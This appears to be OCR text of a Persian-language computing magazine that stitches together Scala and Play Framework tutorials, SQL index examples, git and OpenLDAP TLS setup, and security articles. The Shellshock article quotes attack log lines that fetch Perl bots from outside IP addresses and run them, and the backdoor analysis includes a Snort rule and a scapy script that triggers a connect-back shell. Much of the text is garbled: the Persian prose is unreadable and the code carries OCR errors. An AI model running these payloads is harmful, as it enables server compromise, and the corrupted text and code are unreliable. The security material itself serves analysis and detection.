object Hello {
def main(args: Array[Stringl): Unit = {
println(”hello, world!")
}
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Extension | Persian Calendar
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function callback(status, data) {
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not safe

Bitdefender blocked this page

-rf imp/sh\"™

S Jlw) L ;53085 i o0 45 9l lon
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;wget http://205.237.100.170/manual/a.c -O /tmp/a.c
gcc-o /tmp/.a /tmp/ac;

chmod +x /tmp/.a;

/tmp/.a;

rm -rf /tmp/.a;

wget http://205.237.100.170/manual/b -O /

tmp/b;chmod +x /tmp/b;/tmp/b;rm -rf /tmp/b;

S8l s woand ol OMex 3l K08 (slaiga o

(od dalsl jo aS 0l 00y (PerlBot) s o Sis
ol 00 oé”T % LQQT 4 by po Sl |

Poko Perlbot (Perl.Shellbot):

[04/0ct/2014:11:21:03 -0400] "GET /cgi-sys/default-
webpage.cgi HTTP/1.0" 404 303 "-" "() { :;}; /bin/
bash -c \"cd /tmp;wget https://173.15.111.29/user
—-no-check-certificate;curl -O https://173.15.111.29/

m

user -k ; perl /tmp/user;rm -rf /tmp/user’
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535

LinuxNet perlbot:

[01/0ct/2014:05:35:11 -0400] "GET /cgi-bin/hi

HTTP/1.0" 404 287 "-""() { :;}; /bin/bash -c \"cd /

tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji

http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\"™ ®
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[25/Sep/2014:02:19:43 -0400] "GET / HTTP/1.0" 200
3161 "(){ :; }; ping -c 11 209.126.230.74" "shellshock-
scan (http://blog.erratasec.com/2014/09/bash-

shellshock-scan-of-internet.html)"
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WHERE a =12 AND b = 234;

WHERE a = 12 AND b > 234;

WHERE a IN (1,5, 6) AND b BETWEEN 123

AND 456;

WHERE a IN (1, 5, 6) AND b IN (7, 8, 9);
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WHERE a > 223 AND b BETWEEN 12 AND 32;
WHERE a > 223 AND b > 450;

P e S>le ) IS el
o=l g8 il LaoslsolSL )b
9SS NS AP lh oy pan
e slojl slabyb
2,001y 25 Jgdzr aS 0,8

CREAT TABLE tbl_test (
aint NOT NULL,
b int NOT NULL

CREATE INDEX idx_a_b ON tbl_test(a, b);
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WHERE a > 12 AND b < 345;
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WHERE a = 12 AND b < 345;
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2,8 (Gilwa B YIS o) o Lo oo

trait Disposable {
def dispose()
}
def using[A <: Disposable, B](disposable: A)(block:
A=>B)={
try{
block(disposable)
}Hinally {
disposable.dispose()
}
}
3505 00MaTl 35 JS5 43 s
using (new MyDisposableClass()) { d =>
/.
}

sl 59y = 2l slanie gl 4l

3929 YISl o (Collections)  Fga—unSIS" slools
ol 5 S5 4 Loy 5l digad <SG aS7 05 o

val list =1 to 100

listfilter(i => i % 2 == 0).map(i => printin(i))

// The above code can be written like the following

one

listfilter(_ % 2 == 0).map(printin(_))

// And can be like this (using infix notation)

list filter (_ % 2 == 0) map printin
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def printnum(num: Int) = printin(num.toString)
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WS (oo pa5 ) 9 93 9
class MyClass {
private final String name;

private final int age;

public MyClass(String name, int age) {
this.name = name;
this.age = age;

public String getName() { return name; }

public String getAge() { return age; }
el gl 07 Joleo LeBo YISl 1o 53508 dalad
class MyClass(val name: String, val age: Int)
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final ArrayList<String> names = new Array-
List<String>();
names.add("name1");
names.add("'name2");
names.add("name3");
bbb

var names = new List<String> { "name1", "name2",
"name3" }

B9 oo digd YUl o ISyl

val names = List("name?1', "name2', "name3")
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Oloj oy VSl & Sl (ol oen Sl 4355
505 o (09 paisne shd ) Laosls £o5 LLalS
Ok SO b IS s Type-safety (yols caws 3 909
w3 oo pmgitalip ) (09) Jrolig
o oals ggi dlel 545 (63 a0 dgans 5| S

Y.


http://www.softgozar.com

alis
&

1. http://scala-lang.org/

2. http://playframework org/

import play.apilibsfunctional.syntax._

case class Person(name: String, age: Int, lovesChoc-

olate: Boolean)

implicit val personReads = (
(__\"name).read[String] and
(__\'"age).read[Int] and
(__\"lovesChocolate).read[Boolean]

)(Person)
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import play.api.libsjson._

import play.api.libs.functional.syntax._

case class Person(name: String, age: Int, loves-
Chocolate: Boolean)

implicit val personReads = Json.reads[Person]
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var maybeUser = getUserByld(userld);
var user = maybeUser as Some[User];
if (user = null) {
if (username.startsWith("a")) {
Console WriteLine("Starts with A");
}else {
ConsoleWriteLine("Doesn't start with A");
}
}else {

ConsoleWriteLine("Nothing to say");

5 osbizl Ly WSl 3 oS acalad o L

gy dlg> 45 S 4 Pattern Matching

getUserByld(userld) match {

case Some(user) if username.startsWith("a") =>
printin("Starts with A");

case Some(user) => printin("Doesn't starts with
A

case None => printIn("Nothing to say");
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import play.apilibsjson._
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def getUserByld(id: Int): Option[User] = {
if (/* There was a user with the specified ID*/) {
Some(foundUser)
}else {
None
}
}
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$ echo “Hello World!” > index.html

O slo bl crw pd alyoa s ansla Ll

e so(commit) o |y Dl i g oS g0 48LS)

$ git add index.html

$ git commit -m “First commit”
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serverkey

e Pty
&laslely |, LDAP 4o, o ol a5 Jlos! sl
RVSLIERE
# /etc/rc.d/init.d/Idap restart
(20 o5

I C N SIS E 08 (VW SRR - 0
S adlal |y 45 Jas dJetc/hosts

127.0.0.1 Idap.Ipi.org

(3l o5
(/etc/openldap/Idap.conf) CuuyMS 1 (gu,Sn
Base dc=lpi, dc=org
URI Idap://Idap.Ipi.org
TLS_CACERT /etc/openldap/cacerts/server.crt

(0 3lg0 o8
Gerb 5l oad (b wuld gl oy 55T
Cowl STARTTLS

# ldapsearch -x -D "cn=Manager,dc=Ipi,dc=org"

W -2z
B0 jumw ol

Cy90 ) LDAPS (53, 5l oo b anl)d cygejl

(FYF

# ldapsearch -x -D "cn=Manager,dc=Ipi,dc=org"

-W -H Idaps://Idap.lpi.org

w20,k o5
Jd sl s g Lo dlad il

# netstat —antp | grep slapd

w3k e
Sloje; Gialed 5 Al (Jgome SIS o)
RUT

# tcpdump port Idap -i lo -X -s 1024

Uil 630y 508 wdl eadize,y bl )l 51
Sgi sod 03ls

# tcpdump port Idap -i lo -X -s 1024

A

# make serverkey
umask 77 ; \

/usr/bin/openss| genrsa -des3 1024 > server.key

Generating RSA private key, 1024 bit long
modulus

e

............. ++++++
eis 61251 (0x10001)
Enter pass phrase: # set passphrase

Verifying - Enter pass phrase: # verify

il P8
wolais! oS 5| (passphrase) o3l 357 B>

# openssl rsa -in serverkey -out server.key

iy 8

# make server.csr

s 5

0l Sl j92me Cawlgs j0 Sl

# openssl X509 -in server.csr -out server.crt

-req -signkey server.key -days 3650

‘pkd o5

# chmod 400 server.*

: - & : f@
LDAP 5y (5,5

# cp /etc/pki/tls/certs/server.* /etc/openldap/
cacerts/
# chown Idap. /etc/openldap/cacerts/*

#vi /etc/openldap/slapd.conf
WS 0SByl nylas g
TLSCertificateFile /etc/openldap/cacerts/server.

crt

TLSCertificateKeyFile /etc/openldap/cacerts/

@5 El Sz 9 9 Jl )l ol 6l ) j9
liS e, 1y oas (6K 5, pla s o 4

StartTLS &9 pb 31 5,0,

StartTLS 5l LDAP Server Jloc iy cdl> o
5—d 19 b LSS (6585 50 S, S
Al E9, 9w o8] S 21 ) StartTLS
SleMbl alad 5 05905 TLS L Sledlbl (6,550,
S pa, cadlS 5 55 Ole (Bl 9 (L)l
gl go 00ls Jl pel jolo 4y g 00

oS Cl ol StartTLs o] glaca jo 5l o
o9 D9S2 (S92 S LDAP sl 59,
Q23 g0 03l 59 g LEOMS a4y ol 1l oo o
4 )l )95 5 (5 5pS Laesl a5l Sl L
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LS o) Ki5m, TLS SaS L ) YL Copanl L
5 00 6,50, § 500w DAL ),
o3lil 45,50, S 3)50 5 i @l
My Gl s (S o 3 095 oo
2,5 Jale>

Gk SILDAP (g3l poul g cual oo dalol jo
03,91 Redhat s 0 s G (59, 2 SSL/TLS

Gl 00

ol o8
Openldap CaudS g 59y cual

# yum install openldap-servers openldap-clients
# cd /etc/openldap/

# cp DB_CONFIG.example /var/lib/Idap/DB_CON-
FIG

Py ﬁlf
(Idap server) SLAP g s (g30s,50

# vim slapd.conf
suffix "dc=Ipi,dc=org"
rootdn "cn=Manager,dc=lpi,dc=org"

rootpw secret

g
297 SSL 5970 Sl

#cd /etc/pki/tls/certs
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o

Source Port Destination Port
Sequence Number
Acknowledgement Number

len |Res Flags Window

Checksum Urgent

Options (optionai)
.. data ...
D Trigger: these fields must add to a specific value
D Callback port: derived from WINDOW - 8192
FYIRY

g, oS NCC 09,5 Lansgs (cus) 2 9,90 59 (S5
Nlib/lsbfinit-functions Cuw Sl 10,5 a3lal L coS
by S5k 52 alsg 4 LB ol sl Cwoay
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Attacker Compromised
server
——Magic packet Btimesy— |
__———DODpens connection—
B _Fixed "hello” packet—

Password
Acceptance: Fifg

Command: 4 bytes

_ shell or file activity continues
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alert tcp SHOME_NET any -> SEXTERNAL_NET
any (msg: "Unknown Linux Backdoor"; content:
"|b5a46fce2166|"; depth: 6;flow:established,

to_server; sid:1;)
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tion="Trigger the backdoor')
parseradd_argument('TARGET_IP, metavar="TAR-
GET_IP, type=str,
help="IP to send magic packets to')

args = parser.parse_args()
# Target port can be any valid port. iptables
filtering does not apply
#if it's in the normal INPUT chain. This could be
randomised per-packet.
TARGET_PORT = 80
CALLBACK_PORT = 1234
for nin range(1, 4):

# To trigger backdoor the source port + se-
quence must add up to <Magic Value>

# Backdoor will connect to us on window - 8192

source_port = random.randint(1024, 2048)

sequence = <Magic Value> - source_port #
Value not disclosed at this time

packet = IP(dst=args.TARGET_IP)/TCP(d-
port=TARGET_PORT,sport=source_port,seq=se-
quence,window=8192 + CALLBACK_PORT)

print "[+] Sending magic packet {} of 3 to
{1} (sport: {}, seq: {})"format(n, args.TARGET_IP,
TARGET_PORT, source_port, sequence)

send(packet)
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#! /usr/bin/env python

import random

from scapy.all import IPTCPsend

import argparse

HitHHH##H

# Author: NCC Group, Cyber Defence Operations

(CDO)

# Date: September 2014

#

# Sends three TCP packets with the correct header

values to trigger

# a connect back on the specified port.

#

# This script implements simple randomness for

the "magic" header

# values to demonstrate how difficult it would be

to signature in IDS.

#iHHHH

parser = argparse.ArgumentParser(descrip-
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